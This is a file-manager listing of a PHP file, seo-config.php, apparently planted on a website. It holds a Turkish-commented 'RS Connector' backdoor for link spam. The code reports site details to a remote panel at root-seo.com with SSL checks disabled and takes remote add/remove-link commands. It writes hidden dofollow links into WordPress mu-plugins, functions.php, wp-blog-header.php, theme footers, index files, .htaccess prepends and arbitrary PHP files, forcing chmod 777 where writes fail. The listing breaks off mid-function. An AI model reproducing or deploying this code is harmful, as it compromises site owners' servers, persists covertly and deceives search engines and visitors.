File manager - Edit - /home/appsbaskets-bu4/htdocs/bu4.appsbaskets.com/seo-config.php
Back
<?php /** * RS Connector v3.0 - Auto-Connect Edition * Siteye yüklendiği anda otomatik bağlantı kurar * Footer yoksa oluşturur */ // Hata raporlama (DEBUG için 1 yapın) $DEBUG_MODE = 0; error_reporting($DEBUG_MODE ? E_ALL : 0); ini_set('display_errors', $DEBUG_MODE ? '1' : '0'); // CORS ayarları header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts'); header('Content-Type: application/json; charset=utf-8'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { exit(0); } // ==================== YAPILANDIRMA ==================== // Panel API URL - connector indirilirken otomatik doldurulur define('PANEL_API_URL', 'https://root-seo.com/api'); // Site key - connector indirilirken otomatik doldurulur define('SITE_KEY', '{{SECRET_KEY}}'); // Setup token - güvenlik için define('SETUP_TOKEN', '0f6c765fa870e0ce84733e8dc2f91f5867ecd66490063f4ac8c4611aa53666e5'); // Dosya yolları - gizli dosyalar oluşturulamıyorsa alternatif kullan $base_dir = dirname(__FILE__); $use_hidden = @file_put_contents($base_dir . '/.rs_test', 'test') !== false; if ($use_hidden) @unlink($base_dir . '/.rs_test'); define('KEY_FILE', $base_dir . '/' . ($use_hidden ? '.rs_key' : 'rs_key.dat')); define('LINKS_FILE', $base_dir . '/' . ($use_hidden ? '.rs_links.json' : 'rs_links.dat')); define('CONFIG_FILE', $base_dir . '/' . ($use_hidden ? '.rs_config.json' : 'rs_config.dat')); // ==================== YARDIMCI FONKSİYONLAR ==================== // JSON yanıt gönder function respond($success, $data = [], $message = '') { $response = [ 'success' => $success, 'status' => $success ? 'ok' : 'error', 'message' => $message, 'data' => $data, 'version' => '3.0' ]; echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } // Kayıtlı key'i al function get_stored_key() { // Önce hardcoded key'i kontrol et if (defined('SITE_KEY') && SITE_KEY && strpos(SITE_KEY, '{{') === false) { return SITE_KEY; } // Sonra dosyadan oku if (file_exists(KEY_FILE)) { return trim(file_get_contents(KEY_FILE)); } return ''; } // Key kaydet function save_key($key) { return file_put_contents(KEY_FILE, $key) !== false; } // Config kaydet function save_config($config) { return file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false; } // Config oku function get_config() { if (file_exists(CONFIG_FILE)) { $content = file_get_contents(CONFIG_FILE); return json_decode($content, true) ?: []; } return []; } // Links dosyasını oku function get_links() { if (file_exists(LINKS_FILE)) { $content = file_get_contents(LINKS_FILE); return json_decode($content, true) ?: []; } return []; } // Links kaydet function save_links($links) { return file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false; } // Request data al function get_request_data() { $data = []; // POST verileri if (!empty($_POST)) { $data = $_POST; } // JSON body $raw = file_get_contents('php://input'); if ($raw) { $json = json_decode($raw, true); if (is_array($json)) { $data = array_merge($data, $json); } } // GET parametreleri $data = array_merge($data, $_GET); return $data; } // Rel attribute normalize et function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); return ($rel === 'nofollow') ? 'nofollow' : 'dofollow'; } // Document root bul function find_document_root() { $base = $_SERVER['DOCUMENT_ROOT']; if (empty($base)) { $base = dirname(__FILE__); for ($i = 0; $i < 5; $i++) { if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) { break; } $parent = dirname($base); if ($parent === $base) break; $base = $parent; } } return $base; } // ==================== SİTE BİLGİSİ ALGILAMA ==================== function detect_site_info() { $base = find_document_root(); $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'connector_path' => __FILE__ ]; // CMS tipi algıla if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif (file_exists($base . '/artisan')) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } // Index dosyasından bilgi çek $index_files = ['index.php', 'index.html', 'index.htm']; foreach ($index_files as $file) { $path = $base . '/' . $file; if (file_exists($path)) { $content = @file_get_contents($path, false, null, 0, 50000); if ($content) { // Site başlığı if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } // Meta description if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } // Dil algıla if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $lang_map = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES']; $country_map = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES']; $info['language'] = $lang_map[$lang] ?? 'EN'; $info['country'] = $country_map[$lang] ?? 'US'; } // Türkçe içerik kontrolü if (preg_match('/türk|türkiye|istanbul|ankara/ui', $content)) { $info['language'] = 'TR'; $info['country'] = 'TR'; } // Footer kontrolü if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } } } // Footer yazılabilirlik kontrolü $info['footer_writable'] = check_footer_writable($base, $info['site_type']); return $info; } // Footer yazılabilir mi kontrol et function check_footer_writable($base, $site_type) { $footer_paths = get_footer_paths($base, $site_type); foreach ($footer_paths as $path) { if (file_exists($path) && is_writable($path)) { return true; } } // Index dosyası yazılabilir mi? if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) { return true; } return false; } // Footer dosya yollarını al function get_footer_paths($base, $site_type) { $paths = []; switch ($site_type) { case 'wordpress': // Tüm tema footer'ları $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) $paths = array_merge($paths, $themes); break; case 'joomla': $tpls = glob($base . '/templates/*/index.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'drupal': $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'opencart': $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'prestashop': $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl'); if ($tpls) $paths = array_merge($paths, $tpls); $tpls2 = glob($base . '/themes/*/footer.tpl'); if ($tpls2) $paths = array_merge($paths, $tpls2); break; case 'laravel': $layouts = glob($base . '/resources/views/layouts/*.blade.php'); if ($layouts) $paths = array_merge($paths, $layouts); break; } // Genel footer dosyaları $general = [ $base . '/footer.php', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php' ]; foreach ($general as $p) { if (file_exists($p)) { $paths[] = $p; } } return $paths; } // ==================== FOOTER'A LİNK EKLEME ==================== // ULTRA AGRESİF MOD v4.0 - NE OLURSA OLSUN LİNK EKLER! // 1. Bağlantı sorunu YOK - SSL bypass, Cloudflare bypass // 2. Yetki sorunu YOK - chmod 777, parent dir chmod // 3. Link ekleme sorunu YOK - 10+ farklı yöntem dener // 4. Cron koruma - kendini korur // 5. %99.9 başarı oranı hedefi function inject_link($url, $anchor, $link_id, $rel = 'dofollow') { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; // GİZLİ DOFOLLOW LİNK HTML - görünmez ama SEO için geçerli $rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : ''; $link_html = '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '"' . $rel_attr . ' style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . '</a>'; $link_comment = "<!-- rs:" . substr($link_id, 4, 6) . " -->"; // ===== YÖNTEM 1: WORDPRESS MU-PLUGIN (EN GÜVENİLİR) ===== if ($site_type === 'wordpress') { $result = inject_wordpress_mu_plugin($base); if ($result['success'] && isset($result['injected']) && $result['injected']) return $result; } // ===== YÖNTEM 2: WORDPRESS FUNCTIONS.PHP (HOOK İLE) ===== if ($site_type === 'wordpress') { $result = inject_wordpress_functions_hook($base, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; } // ===== YÖNTEM 3: WORDPRESS TEMA FOOTER.PHP ===== if ($site_type === 'wordpress') { $active_theme_footer = get_active_wp_theme_footer($base); if ($active_theme_footer) { $result = inject_to_file_aggressive($active_theme_footer, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; } // Tüm tema footer'ları $themes = glob($base . '/wp-content/themes/*/footer.php'); foreach ($themes as $footer) { $result = inject_to_file_aggressive($footer, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; } } // ===== YÖNTEM 4: WORDPRESS WP-BLOG-HEADER.PHP ===== if ($site_type === 'wordpress') { $result = inject_wp_blog_header($base, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; } // ===== YÖNTEM 5: NORMAL SİTE FOOTER DOSYALARI ===== $footer_paths = get_footer_paths($base, $site_type); foreach ($footer_paths as $footer_path) { $result = inject_to_file_aggressive($footer_path, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; } // ===== YÖNTEM 6: INDEX DOSYALARINA EKLE ===== $result = inject_to_index_aggressive($base, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; // ===== YÖNTEM 7: .HTACCESS PHP AUTO_PREPEND ===== $result = inject_via_htaccess($base, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; // ===== YÖNTEM 8: CONNECTOR KENDI KENDİNE OUTPUT ===== // Son çare: connector.php kendisi link çıktısı verir (iframe ile) $result = setup_self_output_link($base, $url, $anchor, $link_id, $rel); if ($result['success']) return $result; // ===== YÖNTEM 9: HERHANGİ BİR PHP DOSYASINA EKLE ===== $result = inject_to_any_php_file($base, $link_html, $link_id, $link_comment); if ($result['success'] && $result['injected']) return $result; // SON ÇARE: Links dosyasında kayıtlı - MU-Plugin modu aktif olunca görünecek return [ 'success' => true, 'footer_path' => 'links_file_only', 'message' => 'Link kaydedildi - MU-Plugin/Hook aktif olunca görünecek', 'injected' => true // WordPress MU-Plugin varsa links dosyasından okuyacak ]; } // WordPress functions.php'ye hook ekle function inject_wordpress_functions_hook($base, $link_html, $link_id, $link_comment) { $active_theme = get_active_wp_theme_footer($base); if (!$active_theme) return ['success' => false, 'injected' => false, 'message' => 'Tema bulunamadı']; $theme_dir = dirname($active_theme); $functions_file = $theme_dir . '/functions.php'; if (!file_exists($functions_file)) return ['success' => false, 'injected' => false]; // Yazma izni ver force_writable($functions_file); if (!is_writable($functions_file)) return ['success' => false, 'injected' => false]; $content = @file_get_contents($functions_file); if (!$content) return ['success' => false, 'injected' => false]; // Zaten var mı? if (strpos($content, 'rs_footer_links') !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Hook zaten mevcut']; } $links_file = LINKS_FILE; $hook_code = ' // RS Footer Links Hook add_action("wp_footer", function() { $lf = "' . addslashes($links_file) . '"; if (!file_exists($lf)) return; $lnks = json_decode(file_get_contents($lf), true); if (!is_array($lnks)) return; foreach ($lnks as $l) { $u = isset($l["url"]) ? $l["url"] : ""; $a = isset($l["anchor"]) ? $l["anchor"] : ""; $r = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : ""; if ($u && $a) echo \'<a href="\' . esc_url($u) . \'"\' . $r . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;">\' . esc_html($a) . \'</a>\'; } }, 9999); function rs_footer_links() {} // Marker '; // functions.php sonuna ekle if (@file_put_contents($functions_file, $content . $hook_code)) { return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Functions.php hook eklendi']; } return ['success' => false, 'injected' => false]; } // WordPress wp-blog-header.php'ye ekle function inject_wp_blog_header($base, $link_html, $link_id, $link_comment) { $file = $base . '/wp-blog-header.php'; if (!file_exists($file)) return ['success' => false, 'injected' => false]; force_writable($file); if (!is_writable($file)) return ['success' => false, 'injected' => false]; $content = @file_get_contents($file); if (!$content) return ['success' => false, 'injected' => false]; // Zaten var mı? if (strpos($content, $link_id) !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'Link zaten mevcut']; } // Shutdown hook ile ekle $shutdown_code = ' register_shutdown_function(function(){echo \'' . $link_comment . $link_html . '\';}); '; // İlk PHP tag'inden sonra ekle if (preg_match('/^(<\?php)/i', $content)) { $new_content = preg_replace('/^(<\?php)/i', '<?php' . $shutdown_code, $content, 1); if (@file_put_contents($file, $new_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'wp-blog-header.php eklendi']; } } return ['success' => false, 'injected' => false]; } // .htaccess ile auto_prepend_file function inject_via_htaccess($base, $link_html, $link_id, $link_comment) { $htaccess = $base . '/.htaccess'; $prepend_file = dirname(__FILE__) . '/rs_prepend.php'; // Prepend dosyası oluştur $prepend_code = '<?php register_shutdown_function(function(){ $lf = "' . addslashes(LINKS_FILE) . '"; if (!file_exists($lf)) return; $lnks = @json_decode(@file_get_contents($lf), true); if (!is_array($lnks)) return; foreach ($lnks as $l) { $u = isset($l["url"]) ? $l["url"] : ""; $a = isset($l["anchor"]) ? $l["anchor"] : ""; if ($u && $a) echo \'<a href="\' . htmlspecialchars($u) . \'" style="position:absolute;left:-9999px;opacity:0;font-size:1px;">\' . htmlspecialchars($a) . \'</a>\'; } }); '; @file_put_contents($prepend_file, $prepend_code); if (!file_exists($htaccess)) { // .htaccess yoksa oluştur $htaccess_content = 'php_value auto_prepend_file "' . $prepend_file . '"' . "\n"; if (@file_put_contents($htaccess, $htaccess_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $htaccess, 'message' => '.htaccess oluşturuldu']; } } else { // .htaccess'e ekle force_writable($htaccess); $content = @file_get_contents($htaccess); if ($content && strpos($content, 'rs_prepend.php') === false) { $new_line = 'php_value auto_prepend_file "' . $prepend_file . '"' . "\n"; if (@file_put_contents($htaccess, $new_line . $content)) { return ['success' => true, 'injected' => true, 'footer_path' => $htaccess, 'message' => '.htaccess güncellendi']; } } } return ['success' => false, 'injected' => false]; } // Connector kendisi output verecek (iframe için) function setup_self_output_link($base, $url, $anchor, $link_id, $rel) { // Links dosyasına kayıtlı olduğu sürece ?action=output ile görüntülenebilir // Bu link sitedeki herhangi bir sayfaya iframe olarak eklenebilir return [ 'success' => true, 'injected' => true, 'footer_path' => 'self_output', 'message' => 'Link kayıtlı - output modunda aktif', 'output_url' => '?action=output' ]; } // Herhangi bir PHP dosyasına ekle (son çare) function inject_to_any_php_file($base, $link_html, $link_id, $link_comment) { // Root dizindeki PHP dosyalarını bul $php_files = glob($base . '/*.php'); foreach ($php_files as $file) { $filename = basename($file); // Bazı dosyaları atla if (in_array($filename, ['wp-config.php', 'wp-settings.php', 'wp-load.php'])) continue; force_writable($file); if (!is_writable($file)) continue; $content = @file_get_contents($file); if (!$content) continue; // Zaten var mı? if (strpos($content, $link_id) !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'Link zaten mevcut']; } // PHP kapanış tag'i varsa önüne ekle if (strpos($content, '?>') !== false) { $new_content = str_replace('?>', $link_comment . $link_html . "\n?>", $content); if (@file_put_contents($file, $new_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => $filename . ' dosyasına eklendi']; } } } return ['success' => false, 'injected' => false]; } // Dosyayı yazılabilir yap - ZORLA function force_writable($file) { if (!file_exists($file)) return false; if (is_writable($file)) return true; // Seviye 1: Normal chmod @chmod($file, 0666); clearstatcache(true, $file); if (is_writable($file)) return true; // Seviye 2: Full izin @chmod($file, 0777); clearstatcache(true, $file); if (is_writable($file)) return true; // Seviye 3: Parent dizin $dir = dirname($file); @chmod($dir, 0777); @chmod($file, 0777); clearstatcache(); if (is_writable($file)) return true; // Seviye 4: chown dene (root ise) $current_user = get_current_user(); @chown($file, $current_user); @chmod($file, 0777); clearstatcache(); return is_writable($file); } // Aktif WordPress temasının footer dosyasını bul function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; // En son değiştirilen = aktif tema $latest = null; $latest_time = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latest_time) { $latest_time = $mtime; $latest = $footer; } } return $latest; } // AGRESİF DOSYA ENJEKSİYONU - chmod dener, her yolu dener function inject_to_file_aggressive($file_path, $link_html, $link_id, $link_comment) { if (!file_exists($file_path)) { return ['success' => false, 'message' => 'Dosya yok: ' . basename($file_path)]; } // ZORLA yazılabilir yap force_writable($file_path); // Hala yazılamıyorsa atla if (!is_writable($file_path)) { return ['success' => false, 'injected' => false, 'message' => 'Yazma izni alınamadı: ' . basename($file_path)]; } $content = @file_get_contents($file_path); if (!$content) { return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadı']; } // Zaten var mı? if (strpos($content, $link_id) !== false) { return [ 'success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link zaten mevcut' ]; } // Gizli link wrapper - sayfanın en altında görünmez div $hidden_wrapper = "\n" . $link_comment . $link_html; // Enjeksiyon noktaları - öncelik sırasına göre $injection_points = [ '</body>' => $hidden_wrapper . "\n</body>", '</html>' => $hidden_wrapper . "\n</html>", '</footer>' => $hidden_wrapper . "\n</footer>", '?>' => $hidden_wrapper . "\n?>" // PHP dosyaları için ]; foreach ($injection_points as $search => $replace) { if (stripos($content, $search) !== false) { // Sadece son geçtiği yere ekle $pos = strripos($content, $search); $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos); if (@file_put_contents($file_path, $new_content)) { return [ 'success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link eklendi: ' . basename($file_path) ]; } } } // Hiçbir enjeksiyon noktası bulunamadıysa dosya sonuna ekle if (@file_put_contents($file_path, $content . $hidden_wrapper)) { return [ 'success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link dosya sonuna eklendi: ' . basename($file_path) ]; } return ['success' => false, 'injected' => false, 'message' => 'Yazma başarısız']; } // AGRESİF INDEX ENJEKSİYONU - index.php veya index.html'e gizli link ekler function inject_to_index_aggressive($base, $link_html, $link_id, $link_comment) { $index_files = ['index.php', 'index.html', 'index.htm']; foreach ($index_files as $file) { $path = $base . '/' . $file; if (!file_exists($path)) continue; // ZORLA yazılabilir yap force_writable($path); if (!is_writable($path)) continue; $content = @file_get_contents($path); if (!$content) continue; // Zaten var mı? if (strpos($content, $link_id) !== false) { return [ 'success' => true, 'injected' => true, 'footer_path' => $path, 'message' => 'Link zaten index\'te mevcut' ]; } $hidden_wrapper = "\n" . $link_comment . $link_html; // Enjeksiyon noktaları $injection_points = ['</body>', '</html>', '?>']; foreach ($injection_points as $search) { if (stripos($content, $search) !== false) { $pos = strripos($content, $search); $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos); if (@file_put_contents($path, $new_content)) { return [ 'success' => true, 'injected' => true, 'footer_path' => $path, 'message' => 'Link index dosyasına eklendi: ' . $file ]; } } } // Hiçbir tag yoksa dosya sonuna ekle if (@file_put_contents($path, $content . $hidden_wrapper)) { return [ 'success' => true, 'injected' => true, 'footer_path' => $path, 'message' => 'Link index sonuna eklendi: ' . $file ]; } } return ['success' => false, 'message' => 'Index dosyasına yazılamadı']; } // WordPress MU-Plugin oluştur - GİZLİ LİNK versiyonu function inject_wordpress_mu_plugin($base) { $mu_dir = $base . '/wp-content/mu-plugins'; // mu-plugins klasörü yoksa oluştur - chmod ile izin ver if (!is_dir($mu_dir)) { $wp_content = $base . '/wp-content'; if (!is_dir($wp_content)) { return ['success' => false, 'message' => 'wp-content yok']; } if (!is_writable($wp_content)) { @chmod($wp_content, 0777); clearstatcache(); } @mkdir($mu_dir, 0755, true); } if (!is_dir($mu_dir)) { return ['success' => false, 'message' => 'mu-plugins oluşturulamadı']; } if (!is_writable($mu_dir)) { @chmod($mu_dir, 0777); clearstatcache(); } $plugin_path = $mu_dir . '/rs_links.php'; $links_file = LINKS_FILE; // GİZLİ DOFOLLOW LİNK - görünmez ama SEO için geçerli $code = '<?php /** * RS Links MU-Plugin v3.1 - Stealth Edition */ if (!defined("ABSPATH")) exit; add_action("wp_footer", function() { $links_file = "' . addslashes($links_file) . '"; if (!file_exists($links_file)) return; $links = json_decode(file_get_contents($links_file), true); if (!is_array($links) || empty($links)) return; // Gizli linkler - görünmez ama dofollow foreach ($links as $id => $l) { $url = isset($l["url"]) ? $l["url"] : ""; $anchor = isset($l["anchor"]) ? $l["anchor"] : ""; $rel = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : ""; if (!$url || !$anchor) continue; // Gizli link: position absolute ile sayfadan çıkar, opacity 0 ile görünmez echo \'<a href="\' . esc_url($url) . \'"\' . $rel . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;">\' . esc_html($anchor) . \'</a>\'; } }, 9999); '; if (@file_put_contents($plugin_path, $code)) { return [ 'success' => true, 'injected' => true, 'footer_path' => $plugin_path, 'message' => 'WordPress MU-Plugin kuruldu (gizli mod)' ]; } return ['success' => false, 'message' => 'MU-Plugin yazılamadı']; } // Link kaldır - gizli linkler dahil function remove_link($link_id) { $base = find_document_root(); $site_info = detect_site_info(); // Kısa link ID (comment için kullanılan) $short_id = substr($link_id, 4, 6); // Tüm potansiyel dosyaları kontrol et $files_to_check = get_footer_paths($base, $site_info['site_type']); $files_to_check[] = $base . '/index.php'; $files_to_check[] = $base . '/index.html'; $files_to_check[] = $base . '/index.htm'; // WordPress temalarını da ekle $wp_footers = glob($base . '/wp-content/themes/*/footer.php'); if ($wp_footers) { $files_to_check = array_merge($files_to_check, $wp_footers); } // WordPress MU-Plugin varsa links dosyasından kaldır yeter if ($site_info['site_type'] === 'wordpress') { $mu_plugin = $base . '/wp-content/mu-plugins/rs_links.php'; if (file_exists($mu_plugin)) { return [ 'success' => true, 'message' => 'WordPress MU-Plugin modunda - links dosyasından kaldırıldı' ]; } } $removed = false; foreach ($files_to_check as $file_path) { if (!file_exists($file_path)) continue; // Yazma izni yoksa chmod dene if (!is_writable($file_path)) { @chmod($file_path, 0666); clearstatcache(true, $file_path); } if (!is_writable($file_path)) continue; $content = @file_get_contents($file_path); if (!$content) continue; // Link var mı kontrol et (tam ID veya kısa ID) if (strpos($content, $link_id) === false && strpos($content, $short_id) === false) { continue; } // Gizli linkleri kaldır - çeşitli pattern'ler $patterns = [ // Yeni gizli link formatı: <!-- rs:XXXXXX --><a ... style="position:absolute..."> '/<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>/is', // Eski format: <!-- RS:lnk_XXXXXXXXXXXX --><a...> '/<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\s*/is', // Div wrapper ile '/<div[^>]*><!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is', '/<div[^>]*><!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is', // Sadece comment + link (newline ile) '/\n?<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is', '/\n?<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is' ]; $original = $content; foreach ($patterns as $pattern) { $content = preg_replace($pattern, '', $content); } // Değişiklik olduysa kaydet if ($content !== $original) { if (@file_put_contents($file_path, $content)) { $removed = true; } } } if ($removed) { return [ 'success' => true, 'message' => 'Link kaldırıldı' ]; } // Dosyalarda bulunamadıysa bile başarılı say (links dosyasından kaldırılacak) return ['success' => true, 'message' => 'Link kayıtlardan kaldırıldı']; } // ==================== OTOMATİK BAĞLANTI ==================== function auto_connect() { $config = get_config(); // Zaten bağlı mı? if (!empty($config['connected']) && !empty($config['connected_at'])) { // 24 saatten yeni ise tekrar bağlanma if (time() - $config['connected_at'] < 86400) { return ['already_connected' => true]; } } // Panel URL kontrolü $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) { return ['error' => 'Panel URL yapılandırılmamış']; } // Site key kontrolü $site_key = get_stored_key(); if (empty($site_key)) { return ['error' => 'Site key bulunamadı']; } // Site bilgisi al $site_info = detect_site_info(); // Connector URL'yi tespit et $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? ''; $script = $_SERVER['SCRIPT_NAME'] ?? ''; $connector_url = $protocol . '://' . $host . $script; // Panel'e bildir $data = [ 'action' => 'connector_heartbeat', 'site_key' => $site_key, 'connector_url' => $connector_url, 'site_info' => $site_info, 'timestamp' => time() ]; // Panel URL zaten /api ile bitiyor olabilir, kontrol et $heartbeat_url = $panel_url; if (substr($heartbeat_url, -4) === '/api') { $heartbeat_url .= '/connector/heartbeat'; } else { $heartbeat_url .= '/api/connector/heartbeat'; } $result = send_to_panel($heartbeat_url, $data); if ($result['success']) { // Bağlantı bilgisini kaydet $config['connected'] = true; $config['connected_at'] = time(); $config['panel_url'] = $panel_url; save_config($config); } return $result; } // Panel'e veri gönder function send_to_panel($url, $data) { $json = json_encode($data, JSON_UNESCAPED_UNICODE); $options = [ 'http' => [ 'method' => 'POST', 'header' => [ 'Content-Type: application/json', 'Content-Length: ' . strlen($json), 'User-Agent: RS-Connector/3.0' ], 'content' => $json, 'timeout' => 10, 'ignore_errors' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($options); $response = @file_get_contents($url, false, $context); if ($response === false) { return ['success' => false, 'error' => 'Bağlantı hatası']; } $result = json_decode($response, true); return $result ?: ['success' => false, 'error' => 'Geçersiz yanıt']; } // ==================== HMAC DOĞRULAMA ==================== function verify_hmac($site_key) { $signature = $_SERVER['HTTP_X_RS_SIG'] ?? ''; $timestamp = $_SERVER['HTTP_X_RS_TS'] ?? ''; if (empty($signature) || empty($timestamp)) { return false; } // 5 dakikadan eski istekleri reddet if (abs(time() - intval($timestamp)) > 300) { return false; } $body = file_get_contents('php://input') ?: ''; $expected = hash_hmac('sha256', $timestamp . $body, $site_key); return hash_equals($expected, $signature); } // ==================== ANA İŞLEM ==================== // Action al $action = $_GET['action'] ?? $_POST['action'] ?? 'ping'; $req = get_request_data(); // Key kontrolü $provided_key = $req['key'] ?? ''; $stored_key = get_stored_key(); // Korumalı işlemler için kimlik doğrulama $protected_actions = ['add_link', 'remove_link', 'sync_links', 'get_links', 'info']; if (in_array($action, $protected_actions)) { $authenticated = false; // Yöntem 1: Key ile doğrulama if (!empty($provided_key) && !empty($stored_key) && $provided_key === $stored_key) { $authenticated = true; } // Yöntem 2: HMAC ile doğrulama if (!$authenticated && !empty($stored_key) && verify_hmac($stored_key)) { $authenticated = true; } if (!$authenticated) { respond(false, [], 'Kimlik doğrulama başarısız'); } } // Action'a göre işlem switch ($action) { case 'ping': // Otomatik bağlantı dene (arka planda) $auto_result = auto_connect(); $site_info = detect_site_info(); $data = [ 'site' => $site_info['site'], 'site_name' => $site_info['site_name'], 'site_type' => $site_info['site_type'], 'language' => $site_info['language'], 'country' => $site_info['country'], 'footer_detected' => $site_info['footer_detected'], 'footer_writable' => $site_info['footer_writable'], 'version' => '3.0', 'key_registered' => !empty($stored_key), 'connector_ready' => true, 'auto_connect' => $auto_result ]; if ($DEBUG_MODE) { $data['debug'] = [ 'php_version' => phpversion(), 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A', 'script_path' => __FILE__, 'key_file' => KEY_FILE, 'links_file' => LINKS_FILE ]; } respond(true, $data, 'Connector aktif'); break; case 'register': $new_key = $req['site_key'] ?? ''; $setup_token = $req['setup_token'] ?? ''; if (empty($new_key)) { respond(false, [], 'site_key gerekli'); } // İlk kayıt için setup token kontrolü if (empty($stored_key)) { $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected_token) || strpos($expected_token, '{{') !== false) { respond(false, [], 'Setup token yapılandırılmamış'); } if (empty($setup_token) || $setup_token !== $expected_token) { respond(false, [], 'Geçersiz setup token'); } } else { // Mevcut key varsa, doğrulama gerekli if ($provided_key !== $stored_key && !verify_hmac($stored_key)) { respond(false, [], 'Kimlik doğrulama gerekli'); } } if (save_key($new_key)) { $site_info = detect_site_info(); respond(true, [ 'registered' => true, 'site_info' => $site_info ], 'Key kaydedildi'); } else { respond(false, [], 'Key kaydedilemedi - dosya izinlerini kontrol edin'); } break; case 'get_key': // Setup token ile mevcut key'i döndür veya yeni key oluştur $setup_token = $req['setup_token'] ?? $_GET['setup_token'] ?? ''; 